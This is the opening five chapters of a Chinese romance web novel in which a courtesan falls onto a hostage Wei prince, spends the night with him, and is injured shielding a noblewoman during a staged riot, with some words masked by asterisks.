《风月不相关》
第1章 断裂的红绸
如果早知道自己多吃两天的肉,会导致吊着自己的丝绸断裂的话,关风月说什么都会先饿自己两天!
然而这世上没有如果,她肉已经吃了,绳子也已经断了,人也已经掉下来了,现在就跟抱着自己的**眼瞪小眼。
这人的眼眸好深邃啊,像是没有底的河洞,卷着冰冷的水。眼帘上的睫毛粗而长,垂下来显得更加惑人。剑眉带着七分英气,鼻梁挺着三分傲骨,只是薄薄的嘴唇抿成了一个古怪的弧度,似乎有点生气。
废话!能不生气吗!看衣着也是个富贵人家的公子,竟然就在这众目睽睽之下!被个穿着肚兜的妓子!从天而降砸得脸色发青!
要是她,她也气啊!肯定跳起来就把自己摔成肉饼!
望着眼前这人铁青的脸色,肉饼干笑了两声,想缓和一下气氛,于是扒着人衣襟手就往里伸,按着人家胸口就是一顿揉!
“没受内伤吧?”
本来是青色的脸,这一揉直接就黑了,白衣公子伸手就将她掀翻在地,怒斥了一声:“放肆!”
“呯”地一声,风月砸在地板上,当真成了肉饼。
肉饼有点委屈,妈的,来妓院还嫌**放肆,走错地方了吧?该去隔壁街的寺庙里抄佛经啊!
后头的金妈妈脸色很难看,活像被砸的是她,上来一个**就将风月撞到了后头去,然后赔着笑对这白衣公子道:“公子您千万别跟她一般见识,她不懂事,刚来的!”
殷戈止冷笑,拂了拂被染了胭脂的衣襟,眉眼含霜,像是要把风月的后脑勺烧出个洞!
“听闻梦回楼一向以‘琴棋书画诗歌舞茶’为特色,在下还以为此中女子必定与别处俗物不同,不曾想这儿的姑娘勾引起人来,倒是比外头街边站着的还不要脸!”
话说得狠了,不过在座的多是达官贵人,很能理解殷戈止的想法,因为刚刚那女子实在过于浪荡了。
梦回楼是什么地方?清纯不做作的上等青楼,别的挂牌上台都是弹琴作诗画画,她倒是好,上去就跳着舞脱衣裳,虽然的确很好看吧,但动作极其大胆媚俗,不像梦回楼的精品,倒像外头那些个卖肉妖精中的极品。
妖艳**中的**!
听见旁人的唾骂,风月撇了撇嘴。
梦回楼,再吹得天花乱坠,那也是青楼!再穿得良家妇女,那也得要脱!既然早晚要脱,她自己动手还省了麻烦,怎么就得被鄙视啊?
从地上爬起来,风月披着红绸,一扭腰就将金妈妈撞开!小媚眼一抛,小手臂一搭,勾着面前这白衣公子的脖颈就笑:“公子想听琴,我会弹啊!想下棋,我奉陪啊!什么诗书画歌舞茶,您要什么奴家就能给您来什么!十两银子一夜,看你长得好,给你打个八折吧!”
深不见底的眼再次与她对上,风月笑着笑着就笑不出来了,眯眼盯着他看了好一会儿,眼神微动。
方才事发突然没注意,现在仔细看两眼,这张脸怎么这么眼熟啊?
嫌弃地挥开她的手,抬腿踢开她缠上来的腿,殷戈止冷笑连连:“你这样的人,就别侮辱琴棋书画了。”
你这样的人。
风月听着,恍惚间觉得周围变得虚无,光芒散去,黑暗之中有声音远远而来,在她耳边温柔地道:
“你这样的人,就该去上阵杀敌,瞧这一双手,摸着半点没有女儿家的柔软。”
“你这样的人,怎么会自荐枕席于人?分明生涩得紧,嗯,是处子?”
“你这样的人……真是心狠,要走了也不让我看一看长什么样子?”
年少不懂事的大胆痴缠,意气风发地私定终身,黑暗里的无休止的温情,都像是她做过的一场美梦,在灭门的惨祸和这么多年的漂泊之中,散得连碎片都没了。
梦是没了,可梦的对象还在。看着面前这人嫌弃的眼神,风月叹了口气,忍不住又开始后悔。
她为什么只多吃两天的肉呢?她该多吃两百天的肉!然后一屁股砸死这畜生!
正感叹着呢,冷不防有人从后头抓了她胳膊,一扯就是个过肩摔!天旋地转一下,风月就又成了个肉饼。
“公子莫生气啊!都是来玩的,这姑娘您要是不喜欢,就换一个,莫生气莫生气!”挥手让人把风月抬下去,金妈妈转头就冲殷戈止笑得春暖花开的:“您继续看其他的,今儿的费用啊,都给公子打个对折!”
殷戈止皱眉。
这衣衫不整的女子被人架了起来,红色的丝绸要裹不裹的,露出她雪白的肩头和纤细的腰。红色的肚兜带子勒在胸口,映着白色的肌肤,竟然让他有点反应。
“那姑娘,叫什么名字?”后头突然有人低声问了一句。
殷戈止一顿,回头看了一眼说话的人。
吴国太子叶御卿,穿了一身青色纱袍,里头衬着雪锦的长衫,摇着一把折扇坐在他后头一桌,正盯着他这边,眉眼间都是笑意。
抬头看了看房梁上悬着的半截断绸,又看了看自己和叶御卿之间的距离,殷戈止略微思忖,抬手就挡住了风月的路。
“折不用打,罪不用赔,你今晚伺候我吧。”
啥?
金妈妈懵了,她已经在想怎么收拾那小蹄子才能挽回损失,谁知道这方才还气得脸发青的俊朗公子,这会儿竟然又要风月伺候?
男人,真是一种善变的动物。
“好……好的,我这就去安排!”送上门的便宜,不要白不要,风月才刚挂牌,身价还没这梦回楼的入场费高呢,能抵赔偿,那就抵了!
于是,金妈妈一挥手,架着风月的一众奴才“刷”地转了个方向,欢天喜地地往澡堂跑。
“哎哎哎,干嘛呢!”被扯痛了,风月梗着脖子就嚎:“你们不能温柔点吗!”
金妈妈一巴掌就拍在她后脑勺,瞪着眼睛咬牙切齿地道:“你给我老实点!闯这么大的祸还敢瞎叫唤?我梦回楼的招牌差点砸你手里了!
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现在公子要你伺候,你就把人给我伺候好了,听见没!”
浑身一僵,风月抬头,眼角抽得厉害,回头看了殷戈止一眼,小声嘀咕:“他有病啊?刚才那么嫌弃我,现在又点我的台?”
“客人的心思,那是你们要琢磨的,妈妈我只管收钱!”皮笑肉不笑地拧了她一把,金妈妈低声道:“别的我不管,你要是没能让这位公子开开心心的,你就别想继续在梦回楼混了!”
开开心心?风月一听就翻了个白眼。
殷戈止是什么人?魏国大皇子,有名的冷面阎王,一直跟全天下欠了他钱似的摆张臭脸。她从小到大偷看他没一千回也有八百回,没一回看他开心过。上到获得魏国皇帝赏赐,下到被评为澧都最受妇女喜爱男子首位,哪儿好事都有他,可哪儿也没见他笑过。
风月分析过原因,觉得他可能是天生就不会笑,所以要让他看起来高兴,那还是她别在梦回楼混了比较简单。
然而,金妈妈根本没有给她**的机会,扔她去澡堂里涮了两下就捞起来往三楼抬,到了朱雀房,大脚一踹就将她送了进去。
“嘭”地一声,风月玩了一把狮子滚绣球,几个天旋地转之后,眼前就是一双做工极细的绣云白靴。
白色这种不经脏又难洗的颜色,只有闲得没事耍帅的人才喜欢穿,看来哪怕是来吴国做了质子,殷戈止的日子过得也不错。
吸了吸鼻子,风月老老实实地爬起来跪坐在他面前,装作什么也不知道,笑嘻嘻地开口:“公子有何指教啊?”
殷戈止回神,扫了一眼面前的人,面无表情地开口:“你是什么人?”
浑身一紧,像是有根线从脚趾扯到心脏,风月瞳孔微缩,抬头看向他。
这是……发现了什么吗?
一看这神情,殷戈止了然:“果然是有鬼,说吧,哪一方的人?”
哪一方?眨眨眼,风月想了想这句话的含义,心里一松,有块石头“咚”地砸下来,激得她忍不住笑出了声:“公子说笑呢,我一个刚挂牌的妓子,能是哪一方的人?”
她就说嘛,红颜无数的殷戈止,怎么可能把她这个睡了半个月而已的身份不明的人放在心上。
多虑了,多情了。
“你方才那一曲**不堪的舞,想勾引的,不就是太子殿下?”殷戈止盯着她:“若是没出意外,现在你就该躺在他怀里了。”
“哇塞,那人是太子啊?”风月吃惊地捂嘴:“奴家只是挑了个看起来特别好看的公子,打算打个招呼而已啊!”
要是刚刚她没露出那种复杂的神情,殷戈止就信了这话了,可惜……
出手如电,一把就扼住她的咽喉,面前的人居高临下地看着她,眼里闪着狠戾的光:“不想说实话,你可以永远不说。”
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第2章 熟悉的感觉
瞧瞧,这个人就是这么冷漠无情,面对她这张美艳得跟天仙一样的脸,竟然也能下得来手!肯定是记恨刚刚她把他脸砸青了,现在怎么也想给她掐出个七彩斑斓来!
喉咙出不得气也进不得气,风月艰难地掰着殷戈止的手,眼瞅着自己要被掐**,干脆长腿一伸,跳起来就夹住他的腰,出其不意,攻其不备,勾手就是一个“猴子偷桃”!
没想过这人会反抗,就算想过,也没想过会这样反抗,殷戈止一个闪躲,挥手就将人扔了出去!
“好歹是女子,你怎么如此下流!”狠狠拂了拂衣摆,殷戈止嫌恶不已地瞪着她。
呛咳着给自己顺气,风月慢悠悠翻了个白眼:“您也好歹是公子,不也很下流吗?关着门欺负我一个弱女子,算什么英雄好汉!”
弱女子?
冷笑了一声,殷戈止也懒得跟她争,只一步步地朝她靠近。
还想有骨气地继续还嘴,可抬头一瞧,我靠!有杀气!风月顿时觉得骨气就是世上最不值钱的东西!小脸一抹,袖子一甩,嘤嘤嘤地就朝人家扑跪过去,抱着大腿不撒手:
“公子有话好好说嘛~您当真是冤枉好人了!奴家未曾与外头任何人有来往,更是头一回挂牌,不认得您说的太子爷。方才神情有异,只是因为您这张脸太好看了,以至于让奴家想起个故人。”
“哦?”停了步子,低头看着脚下的人,殷戈止冷笑:“故人?”
“就是个故人!死得贼惨!七窍流血被人五马分尸焚骨荒野骨头渣渣都没留下!”一口气说完不带喘,风月眼里闪过暗色,抬头却又笑得谄媚,眼睛都眯成一条缝儿了:“我是太怀念他了,所以看见您有点激动。”
是这样吗?殷戈止沉默,目光从她头顶划下去,跟刀子似的戳得人生疼。
迎着他的目光,风月伸手就将自己肩上的衣裳扯开,小肩膀扭啊扭,小媚眼抛啊抛:“再说了,奴家要是只想勾搭太子,就为什么要对您这样热情呢?太子和您,都只是恩客,对奴家来说,都是一样的嘛。”
这么一想,她倒是没撒谎,方才还敢当众往他衣襟里探,若目的只是太子,那绝不该来勾搭他。
眼神敛了敛,周身的杀气就散了不少,冷静了片刻,殷戈止道:“如此,那就是我冤枉你了。”
“知道您冤枉奴家,还不给点补偿吗?”嗔怒起身,风月伸着丹蔻就往他胸口戳,委屈至极,风情万种。
这指头瞧着是挺温柔的,可落下来的时候,殷戈止只觉得跟一根筷子要戳穿他的胸口似的疼。
这是神力还是故意啊?
顺势坐在后头的凳子上,他抬头,只见眼前的女子食指点唇,迈着莲步靠近。身上的衣衫跟水似的滑落下去,露出两只手腕上束着长长的红绸缎。
红色很衬她,这红绸系得也巧妙,轻轻一抬手,艳色就能从眉目间滑过皓白的肌肤,落在丝绸底裙上,泛起点暧昧的涟漪。
不愧是做这一行的,勾引人就是有手段。
殷戈止不是禁欲的人,但也不是对什么人都能主动的,所以即便眼前的场景活色生香,他也只是安静地看着,等着这妖精绕上他身子,在他耳边呵着热气。
风月像只蛇精,攀上他的身子就将他紧紧缠住,手勾着脖子,腿勾了腰,很是熟门熟路的,就在他耳后寻着了嫩肉,轻轻一咬。
闷哼一声,殷戈止瞳孔微缩。
熟悉的酸麻之感袭遍全身,激得他反手就捏住身上这人的胳膊:“你?!”
“呀,公子也受不住这里么?”风月咯咯地笑。
也?
眼里有东西一闪而逝,殷戈止沉了脸。
妓子伺候过的男人不知道有多少,想着法子寻恩客身上敏感的地方,是常事。
捏着她的手腕探了探,一点内劲都没有,软绵绵的,不是练家子。
松了手,殷戈止闭眼,淡淡地“嗯”了一声,然后便任由她在自己身上放肆。
本是不想在外头过夜的,不过看在还算舒服的份上,破个例吧。
烛光盈盈,风月一件件儿地脱了他的衣裳,手从他结实的手臂上滑下去,钻进人掌心,撑开他的拳头,十指交扣。
殷戈止半睁了眼。
“你哭什么?”他问。
“嗯?”风月茫然,伸手摸了摸自己脸上,“扑哧”一声笑了出来:“哎呀呀,奴家这眼睛有毛病的,晚上看见光就容易流泪,公子不必在意。”
见光就流泪?殷戈止转头,看了一眼桌上燃着的灯,伸手扣灭。
屋子里瞬间暗了,外头的月光洒进来,依稀能看见风月那一双瞪得跟铜铃一样大的眼睛。
“我也不喜欢点灯睡觉。”淡淡地说了一句,殷戈止站了起来。
不是抱着风月站起来,也不是搂着她站起来,就是在身上这人还缠着他的时候,直挺挺地站了起来!
本来还姿态优美的风月,瞬间尖叫一声挂在他身上
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,哆哆嗦嗦地道:“你倒是托着我点儿啊!”
“托?”
“就是别让我掉下去!”
抬脚往床的方向走,殷戈止道:“掉下去了你自己爬起来就行,我懒得动。”
风月:“……”
死命抱紧这人,她倒是气笑了。这么多年过去,殷大公子还是这般不体贴女人。更好笑的是,就算他这么不体贴,想从他身上掉下去再自己爬起来的女人,也依旧能从招摇街的街头排到响玉街的街尾。
这都是命啊!
认命地攀住他,直到他躺上床,风月才松了口气,咬咬牙,嗲声嗲气地道:“公子真是与寻常男子不同,格外冷淡呢。”
“你也与寻常妓子不同,格外刺眼。”
声音从他胸腔里发出来,风月娇笑,依偎在他怀里,手指一路往下划:“男人在这种地方,不就是找个看得顺眼的姑娘共度春宵?有喜欢高雅的,就有喜欢奴家这种刺眼的。甚至说,很多人就喜欢奴家这种刺眼的,却碍着身份面子,不好意思开口。”
就比如他这种衣冠禽兽。
殷戈止闷哼了一声,不是赞同也不是反对,而是因为身上这妖精竟然又碰着他了。
这是伺候了多少人?
殷戈止有点嫌弃她脏,可想离开已经来不及了,身上滚烫起来,神色也因着饱受刺激的感官而逐渐迷离。
已经很久没有人给他这样的感觉了,像扯断了他捆着自己的绳子,让他随着激流被卷进无底的漩涡,迷惘、沉沦……
万劫不复。
整个晚上风月都没闲着,因为她不知道天亮之后这人会怎么对她,所以是使出了浑身的解数,挑起他暗藏着火。他身上没有她不熟悉的地方,但现在的她,已经是他完全不熟悉的模样了。
敌在明我在暗,这一场仗自然是风月大胜,尽管最后是她被困住求饶,但殷戈止这失控难耐的模样,让她很是欣慰。
什么都变了,至少身体还契合。
两人这一觉都睡到了第二日接近晌午,殷戈止睁开眼的时候,风月也恰好醒了,迷迷糊糊地不知道嘀咕了个什么,伸手就搂住他的腰,往他怀里钻。
怀里一暖,心口有点异样,他一把将人拎开,捏了她的下巴仔细端详:“我是不是在哪里见过你?”
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第3章 无畏的英雄
指尖捏着的这张脸笑了起来,眼睛都没睁开,嘴角的弧度倒是咧得大:“说不定上辈子见过呢,还让您这般念念不忘,不如就将奴家赎回家去好生疼着,也不枉您记这一回。”
青楼里的姑娘,自然都是盼着被人赎出去享福的,所以要是当真见过,这人不可能装不认识他。
松开手,殷戈止当没听见她这话,径直翻身下床,唤了丫鬟进来更衣。
风月起身,拉了被子盖在身上,就这么靠在床头看着他,长发蜿蜒及地,眉目慵懒多情。
视若无睹,殷戈止换上新的白袍,衣袂翻飞之间,仿佛是柔弱儒雅的书生。再回首,一张脸依旧波澜不惊:
“你入这行多久了?”
没想到他会问这个,风月挑眉,看了他一眼,轻笑:“两年有余。”
“一直在此处挂牌?”
“公子抬举了。”抬袖掩唇,风月咯咯直笑:“这梦回楼可不是什么人都进得来的。奴家刚入行的时候,都是带着枕头夜半时分上人门去,哪有地界儿能挂牌?也就是经验足了,金妈妈才收的奴家。您还是这梦回楼里,奴家第一个客人。”
梦回楼里的第一个客人,不是她的第一个客人,更不是第一个男人。
昨晚就发现了,这女人并非清白之身。不是清白之身,若要带回去,那就更不像话了。
半垂了眼,殷戈止挥袖就要走,步子到门口却停了。思忖了片刻,沉声开口:“告诉金妈妈留你几日牌子,我明日再来。”
诶嘿,还成回头客了?风月很感动,心想男人禽兽点就是好啊,什么内涵什么才艺都是浮云,说到底还是喜欢她这种小妖精嘛!
裹了衣裳下床,风月“蹭蹭蹭”地就跑到殷戈止旁边,扯着他的衣襟将人拉下来,吧唧一口就亲在他脸颊上,扭着小蛮腰抛媚眼:“多谢公子!”
嫌弃地擦了擦脸,殷戈止开门正要走,外头却刚好有人冲了过来,差点撞着他。
“公子!”随从观止压低声音道:“一粟街出事了,易小姐在那边。”
眉头皱了皱,殷戈止二话不说就跟着他往外走。
吴国姓易的人很少,能让殷戈止有反应的姓易的就更少了。
看他出了门,风月立马更衣,坐在梳妆台前看着自己身后的丫鬟:“灵殊,挽个发髻!动作要快,姿势要帅!”
闻言,灵殊立马上前给她系了根红发带,简单,贼快。
来不及讲究,风月夺门而出,直奔后院狗洞,抄着近路就追上了骑马狂奔的殷戈止。
乍见一抹亮红色扑过来,殷戈止立刻勒马,马蹄高扬,微微挡着点阳光。
“你干什么!”看清前头的人,殷戈止黑了脸:“出来做什么!”
“奴家又不是老鼠,还不能出洞了不成?”委屈地扁扁嘴,风月跑到人家马旁,伸出细软的小手:“刚一番恩爱就抛下人家,人家舍不得公子!有什么事,带奴家一起去吧?”
眼里厌恶之色顿浓,殷戈止看着她,声音都冷了八度:“我最烦女人碍事,滚开!”
换个人来,怕是要被他给吼得红了眼,可风月脸皮厚,完全不怕他,看了看马镫,一脚就踩了上去!红衣烈烈,在空中划了很优美的弧线,然后落在了马背上。
白色的衣袍翻飞,卷了红色的纱衣在其中,很是缠绵好看。
可殷戈止的脸色不好看,阴沉得像雷阵雨前的天空,眼神凌厉如闪电,马鞭往后一扬就想将人打下去。
反应极快,风月低头就抱着这人的腰,双手作死扣,大喊道:“要是再耽误时间在奴家身上,公子就要误事啦!”
他就没见过这么难缠的女人!殷戈止咬牙,却是不想再耽误,策马就继续往前跑。
马背颠簸,这又不是双鞍,殷戈止觉得跑两下说不定这人就掉下去了。结果一路狂奔到目的地,背后的人坐得简直比泰山还稳。
“啊——”
刚勒马就听见前头的尖叫声,殷戈止也没空理会背后的人,翻身下马,低喝一声:“观止,帮忙!”
身手敏捷的护卫立马从旁飞出,冲进了人群之中。
风月抬眼,就看见前方空地上架着个粥棚,像是在接济难民。不过似乎遇着了暴民,十几个衣衫褴褛面目凶狠的人将粥棚围着,有的**,有的抢米。孩子在哭,女人在叫,场面乱得非常壮观。
一片混乱之中,观止救出了个姑娘,一身绫罗绸缎,新月一般的小脸蛋儿上挂着泪痕,神情楚楚地看着那群暴民。
“别伤着他们!”易掌珠哽咽道:“他们是无辜的,都是百姓啊!”
风月挑眉。
殷戈止挥袖,气定神闲地走过去,看着她道:“都**劫了,说什么无辜?”
回头看见他,易掌珠扁了扁嘴,捏着拳头道:“他们何辜?都是被人逼成这样的,若是有饭吃,谁愿意窝在这种地方抢东西?米粮本来也是为他们准备的,他们拿去就是了。”
无奈地摇头,殷戈止正要再说,却感觉后头有凌厉的破空之气,刚一侧头,一把**就从他面前横过,直取易掌珠首级!
反应极快,殷戈止伸手就捏了那**尖儿,反手一弹,震得来人虎口一麻,直接脱了手。
易掌珠吓了一跳,连连后退,旁边的观止被两个人迎面围上,殷戈止面前也站了三个人。方才还在地上倒着的难民,不知怎的又站起来几个,袖中银光闪闪,皆朝他们扑来。
这显然是个圈套,然而圈套正中央的慈悲为怀的易小姐啥也没做,就吼了一声:“别**,挡着他们就行!”
风月翻了个白眼。
挡着人还不能杀,对面又人多势众,显然殷戈止那边是要落下风的。然而殷戈止还真听她的话,有剑不出鞘,拎着剑鞘就往人天灵盖上砸,争取给人砸出个脑震荡啥的。
观止也收了刀,颇为费力地应付四周的暴民。
易小姐带的家奴不够多,于是没一会儿就有难民冲破了护卫,举着大木棍就朝她砸了下去!
瞳孔微缩,易掌珠被吓坏了,下意识地拉着旁边的家奴想躲,然而那木棍虎虎生风,速度极快,根本躲无可躲。
千钧一发,英雄登场,一直没被人
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注意的风月就在这个时候冲了上来,挡在易掌珠前头,双手举高,像神话里金光闪闪的神仙,无畏地迎接那沉重的一击。
周围的家奴都傻了眼,丫鬟们纷纷尖叫,连那头正在打斗的殷戈止都抽空回头看了一眼。
“呯——”木棍砸下来了,重得人仿佛能听见什么东西碎裂的声音。风月脸色未变,嘴角还噙着一丝属于高手的冷笑。
拿着木棍的人傻眼了,看了看她,呆呆地开口:“你……”
“滚!”话还没说完,旁边的观止飞过来就是一脚,那人转着圈圈滚了老远,木棍也掉在了地上,沉闷的一声响。
殷戈止皱眉,懒得跟他们玩了,下手骤然狠起来,不过十招,几个暴民全老实地横在了街上。
“没事吧?”退回易掌珠身边,他问了一声。
“……我没事。”震惊地看着眼前的风月,易掌珠颤颤巍巍地道:“这位姑娘……真是高手啊!”
抬头看她一眼,殷戈止问:“你会武?”
风月声音极轻地回答:“不会。”
“不会?”走到她面前,殷戈止看了看她的手:“不会你还能这么纹丝不动地挡下木棍?”
“纹丝不动是因为,我有骨头。”深吸一口气,风月缓慢地转动眼珠看着他,没两瞬,眼泪就跟泉水似的哗啦啦地涌出来:“可是骨头他奶奶的也没有木头硬啊,我手骨碎了啊啊啊救命!”
殷戈止:“……”
伸手就想把她还举着的手给拿下来,谁知还没碰着呢这人就是一顿嚎叫:“别动!别动啊!真的骨头碎了,不是开玩笑,给我找个大夫来动!”
易掌珠急了,扯着殷戈止的袖子就道:“快把这位姑娘送去药堂,那边就有,走两步就能到!”
扫了一眼不远处的药堂,殷戈止对风月道:“你自己走过去吧,别人动着你都会痛。”
风月的眼泪那叫一个哗啦啦地流啊,哀怨地看了他一眼,就这么高举着手,边哭边往药堂挪。
观止瞧着,很想给自家主子说其实他可以把她背过去的,谁曾想刚转头,就看见自家主子仿佛在笑。
笑?!观止傻眼了,使劲儿揉了揉眼睛再看,殷戈止却还是那张面无表情的脸,侧脸的线条优雅而冰冷,只看了风月两眼,就转头继续跟易掌珠说话。
是他看花眼了吧,或者是今天的阳光太灿烂了,观止想着,摇了摇头。
做事是要牺牲的,风月知道,但她不知道这个牺牲这么惨烈,早知道换个法子救易小姐就好了。
越想越伤心,也就哭得越厉害,嚎啕惨烈的哭声响彻整个一粟街,吓得远处狂奔过来的马打了个趔趄。
“殿下小心!”后头的侍卫喊了一声。
叶御卿连忙勒马,青衫翻飞,有惊无险。定睛往前头一看,却见个红衣姑娘哭得眼泪鼻涕横流,双手高举过头,一步步地往旁边挪,那模样,要多滑稽有多滑稽。
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第4章 魏国大皇子
一个没忍住,叶御卿笑出了声:“哈哈哈!”
什么叫幸灾乐祸,什么叫丧尽天良!风月又痛又气,转头就狠瞪了笑的人一眼。
媚气天生的狐眸,染了怒意倒显得更加动人,叶御卿缓过气,擦了擦笑出来的泪花儿,惊喜地道:“哎呀,这不是那个谁,那个跳舞的那个!”
风月一愣,眯着眼睛看清了马上那人的脸,身子僵了僵,举着手干笑了两声。
要不怎么说天意弄人呢,她避之不及的人吧,绕着弯都能跟她巫山云雨。她一心想勾引的人吧,却总是在她情况最糟糕的时候出现,瞧她跟瞧个笑话似的。
殷戈止猜得没错,她一开始是想勾引这吴国太子来着,没想到失算了,便只能装作什么都没发生,先应付了殷某人。本来还想了许多法子要继续搭上叶御卿这条线,谁曾想今儿在这儿就撞上了。
她现在这个样子,不用想,一点也不妖艳不迷人,跟个想上天的僵尸似的伸着手,还是别丢人现眼了。
念及此,风月缩了脖子埋了脸,忍着手骨的剧痛,迈着小碎步就往药堂狂奔。
“哎……”
“殿下!”易掌珠跑过来,甚为慌乱地道:“您怎么出宫了?”
太子何等身份?不知多少人在暗中盯着,哪是能四处乱跑的?
收回落在远处的目光,叶御卿温柔一笑,翻身下马:“听闻你出事了,本宫刚好在附近巡视,就赶过来看看。”
暴民已经跑的跑伤的伤,易掌珠回头看了一眼,叹息:“珠儿没事,您也多爱惜着自个儿,别总为珠儿这样的小女子犯险。”
迈进药堂的门槛,风月依稀还听见了这句话,不由地笑了两声。
天真得跟小羊羔似的。
这话是打算在心里说的,不知怎么的嘴一个漏风就嘀咕出来了。好死不死的,声音不小,被后头的人全听进了耳里。
“你说谁?”清冷的声音一点起伏都没有,跟石膏板似的拍在她背后。
风月一顿,缓缓转头,笑得妩媚:“说奴家自己呢。”
殷戈止皱眉,跟着她跨进药堂,一双眼上上下下仔细看了看她:“你天真?”
眨眨眼,风月傻笑:“不天真吗?”
“眼神不干净。”收回目光,殷戈止推着她就坐在有大夫的桌边,轻飘飘地扔下这评价。
不干净?风月冷笑,放眼望过去,这活着的人有几个眼睛是干净的?她看过无边的杀戮,看过满门的鲜血,这双眼能干净才怪了!
手掌已经肿成了熊掌,她也懒得跟他多说,扭头就眼泪汪汪地看着大夫:“您快瞧瞧,奴家的手是不是断了?”
嗲声嗲气的,把人家老大夫的白胡子都惊得抖了抖。殷戈止瞧着,分外嫌弃地道:“你能不能正经点?”
贝齿咬唇,风月委屈地眨眼:“公子,奴家是个什么身份您忘记了?”
要妓子正经点?想啥呢?
殷戈止:“……”
人毕竟是他带出来的,这副模样真的很丢他的脸!
胡子哆嗦够了,老大夫还是仔细看了看她的手。风月把手放下来,更觉得血气全往掌心冲,疼得小脸发白。
“骨头没断,大概是有些裂了。老夫给你开些外敷药,并着内服的药膳补品,养上几个月也就好了。”
这么麻烦?风月皱了脸:“补品很贵的!”
干这行的,会连补品都吃不起?殷戈止冷笑:“金妈妈不会让你手废了的。”
“那也是羊毛出在羊身上啊!”风月叫苦不迭:“奴家好歹是见义勇为英雄救美,公子就不打算承担点汤药费?”
还想讹人?殷戈止轻嗤,正想应了,却听得门外有人道:“既然是因为珠儿受的伤,那本宫自当给予嘉奖和补偿。”
青色的衣角从门槛上扫过,叶御卿进来,笑得分外温柔:“姑娘要用的补品药材,本宫自会着人送去,不必担心。”
瞧瞧!大国的太子,就是这么有风度,这么有礼貌,这么有钱!
风月立马就“嘎嘎嘎”地笑了,媚眼直冲人家甩:“您真是个好人!”
言下之意,他不是好人?殷戈止脸色微沉,身子一侧就将她抛媚眼的路线挡了个严实。
“人是我带来的,出了事自然有我补偿她,殿下不必操心。”抬眼看向对面的人,殷戈止面无表情地道:“此地不甚安全,殿下不如早些回宫,也省得掌珠提心吊胆。”
掌珠。
认识他这么久了,还是头一回听见他叫人闺名。风月顿了顿,忍不住又“嘎嘎嘎”地低笑起来。
拒人千里的殷大皇子啊,连自己的亲妹妹都唤的是名号,不甚在意。三年未见,倒是会为别的女子慌张策马,也会柔情地唤人闺名。
世界真奇妙。
易掌珠就在太子身后站着,闻言就站出来到了风月旁边,满是愧疚地看着她的手:“到底是因为救我,还是我来付这汤药钱吧。”
“不必,有本宫在,哪有让你操心的道理。”叶御卿目光怜爱,宠溺地道。
“不是你的人,也不是太子的人,你们都不必操心。”殷戈止道:“我会处理好。”
瞧瞧,这一个个争的,搞得她像个碰瓷**的人似的。风月不笑了,目光将面前这三个人扫了一圈,淡淡地道:“说一句玩笑话各位贵人也当真,奴婢讨个脸而已,补品还是吃得起的。”
三个人一顿,都看向她。
老大夫正往她手上缠药,风月垂了眼,似笑非笑地调侃:“没事就都请吧,这么破的药堂,站您几位大佛,恐怕不久就得塌喽!”
心里有种异样的感觉,殷戈止觉得很奇怪,按理说她这话只是打趣,脸上也没什么怒意。但很意外的,他竟然清晰地感觉到她生气了。
怎么回事?
伸手按了按胸口,殷戈止皱眉,疑惑不得解,又看了风月两眼。
“你都伤成这样了,自己怎么回去?”易掌珠道:“我送你吧,你家在哪儿?”
“招摇街,梦回楼。”一点没避讳,风月坦荡荡地道:“易小姐的身份,要送奴家怕是
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不合适。”
青楼女子?易掌珠吓了一跳,杏眼微睁,颇为意外。
殷戈止怎么会带青楼女子到外头来?他不是一向不喜那种风尘味儿重的人么?
“我送她回去。”殷戈止开口,看她的手包得差不了,便道:“先走一步了。”
“殿下。”叶御卿看着他,优雅地颔首:“就算是在我吴国为质,您也是魏国大皇子,崇敬您的人不少。光天化日地去招摇街,怕不是好事。”
竟然还称他为“殿下”,风月抿唇,忍着疼缩在旁边看着这两人。
一个是被易大将军带回来的质子,一个是吴国炙手可热的太子,身份分明悬殊,难得殷戈止竟然半点不输气势,站在叶御卿面前,依旧是那副从容不迫,有本事你打我的欠揍之感。
叶御卿当然是打不过殷戈止的,就算是三年前的风月,百招之内可能都碰不着殷戈止的衣角,更何况现在两国表面相安无事,自然也不可能动手,所以殷戈止淡淡地开口了:
“好与不好,在下自有判断。敬我之人若是因我流连风尘而远之,那不敬也罢。”
你爱敬不敬,爱崇不崇,看不顺眼有本事来打我呀!
这就是殷戈止,在沉默中嚣张得不可一世的魏国大皇子,曾经叱咤战场的不败将军。哪怕脱了铠甲,穿上一身文弱气质的白衣,铁骨就是铁骨,一棍子打下去都不会骨裂的上乘骨头!
风月眯眼,眼里神色颇为复杂。
叶御卿展了手里的扇子,半掩了脸,轻笑道:“倒是本宫多虑了,殿下哪里会在意这些俗名凡誉。既然如此,那就请吧。”
易掌珠跟着让开路,有太子在,她倒是没多开口,目送观止架着风月出去,又看了一眼殷戈止。
门口有风吹进来,他走出去,白色的衣袍轻薄地翻飞,和着墨色的发,好看得像画中的仙。
不过就算他好看得长出一朵花,风月也是没心情看的,这一路走回去,就算有人搀扶,那也是一种酷刑。虽然她挺能忍痛的,但他奶奶的这也太痛了!
走到梦回楼门口的时候,风月差点就跪下去了。殷戈止斜眼瞧着她,没吭声,进去给金妈妈嘀咕了两句,然后就施施然地上楼。
风月半死不活地挪回窝,灵殊一瞧见她这模样就尖叫了:“主子,您怎么了这是!”
干笑两声,风月躺在软榻上长舒一口气:“运气不好,受了点伤,养养就好了。”
“这看起来就很严重啊!”灵殊急了,围着软榻就绕圈圈,眼泪汪汪地道:“奴婢今儿就觉得右眼皮跳得厉害,果然是要出事,您这个模样,还怎么去李少师府上……”
想伸手捂这丫头的嘴已经是来不及,风月只能狠狠瞪着她,想把她的话瞪回去。
然而,还是晚了。
灵殊一脸无辜,水灵灵的眼睛看着她,完全没发现自己身后有阴影笼罩了过来。
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第5章 她不配
“你说,她要去哪儿?”殷戈止问了一句。
清冷的声音突然在背后响起,吓得灵殊“哇”了一声,条件反射地就往风月怀里跳。
看着她朝自己扑过来,风月嚎都来不及嚎,连人带手被她来了个泰山压顶!
殷戈止一顿,看向软榻上的人,眼里难得地带了点同情。
“……灵殊啊。”缓了半晌才缓过劲来,风月虚弱地看着身上的人,抖着声音道:“我待你不薄,就算我**妆匣里的银子都是你的,但你也不能这么急着要我死啊!”
灵殊懵了,手足无措地爬起来,委屈地扁嘴:“奴婢不是故意的,主子您还好吗?”
“很不好,要**!”痛苦地呻吟,风月满眼忧伤地看着她:“不过我觉着还可以苟延残喘一下,只要你给我做一碗你拿手的芋头羹。”
“奴婢马上就去做!”连忙点头应下,灵殊提起裙子就往外冲,完全忘记了自己刚刚为什么被吓着。
